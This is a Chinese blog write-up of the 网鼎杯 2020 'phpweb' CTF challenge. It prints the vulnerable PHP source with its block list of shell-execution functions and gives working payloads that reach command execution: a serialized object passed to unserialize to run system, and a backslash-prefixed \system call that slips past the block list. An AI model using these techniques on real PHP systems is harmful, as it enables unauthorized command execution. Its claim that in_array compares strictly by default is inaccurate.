[网鼎杯2020—WEB]phpweb详细题解（php反序列化、代审、命令执行）

最新推荐文章于 2025-02-03 11:55:19 发布

T1nk

最新推荐文章于 2025-02-03 11:55:19 发布

阅读量687

点赞数 15

分类专栏：代码审计 CTF 文章标签： php 网络安全经验分享笔记

本文链接：https://blog.youkuaiyun.com/m0_74051295/article/details/144504349

版权

代码审计同时被 2 个专栏收录

3 篇文章

订阅专栏

CTF

1 篇文章

订阅专栏

打开题目，等待几秒钟，会发现几秒之后跳出来了一个警告

抓包看一下，发现存在POST传参,并且传递了两个参数，一个是func、一个是p

对两个参数与返回值进行分析，我们使用date时一般是这种格式：

date("Y-m-d+h:i:s+a")

那我们可以猜测func参数接受的是一个函数，p参数接受的是函数执行的内容，我们可以输入参数md5和1进行测试，结果如下：

经过验证，确实是回显出了1的MD5值

测试发现，后台是用了call_user_func()函数，而func是第一个参数，p是第二个参数

可以利用函数show_source看一下index.php的源文件，构建payload，POST传参，我们可以看到回显是Hacker，明显不是我们想要的源码，所以就要多尝试几个函数

func=file_get_contents&p=index.php

下面就是得到的PHP源码，下面就是PHP代码审计的环节了

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];
 
    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

反序列化法

注意到没有把反序列函数unserialize给禁掉，所以这题我们可以利用反序列化,先构造一个类

<?php
class Test {
    var $p = "find / -name flag*";
    var $func = "system";
}
 
$a=new Test();
echo serialize($a);
?>

将反序列化的结进行GET请求后，快速查看网页源代码，不然整个页面一直再刷新，可能看不到。

我们会发现，第一个最可疑，与其他的不太一样，确定flag位置

/tmp/flagoefiu4r93

再用cat命令打开看看，构造payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

可以得到flag

命令行绕过法

原理：在php中，函数加上\号不会影响函数本身，因为in_array函数过滤不够严谨，所以我们可以利用加上\号来绕过该函数，直接命令执行，构造payload，先找一下flag位置

那么问题来了：为什么使用此payload：?func=\system&p=find / -name flag*，即可绕过in_arry函数的检测？

?func=\system&p=find / -name flag*

解：因为代码中对用户传入的 $func 变量进行了转为小写的处理 strtolower($func)，但是并没有移除或过滤掉反斜杠，所以 \system 并没有和禁用函数列表 array("exec","system",...) 中的 system 完全匹配。

in_array() 函数是用来判断给定的值是否存在于数组中的，而它是基于字符串的**全等匹配**（相当于 === 比较）。也就是说，in_array() 会比较 \system 和 system，由于它们并不完全相同，检测会失败，因此 \system 不会被禁用列表中的 system 匹配到。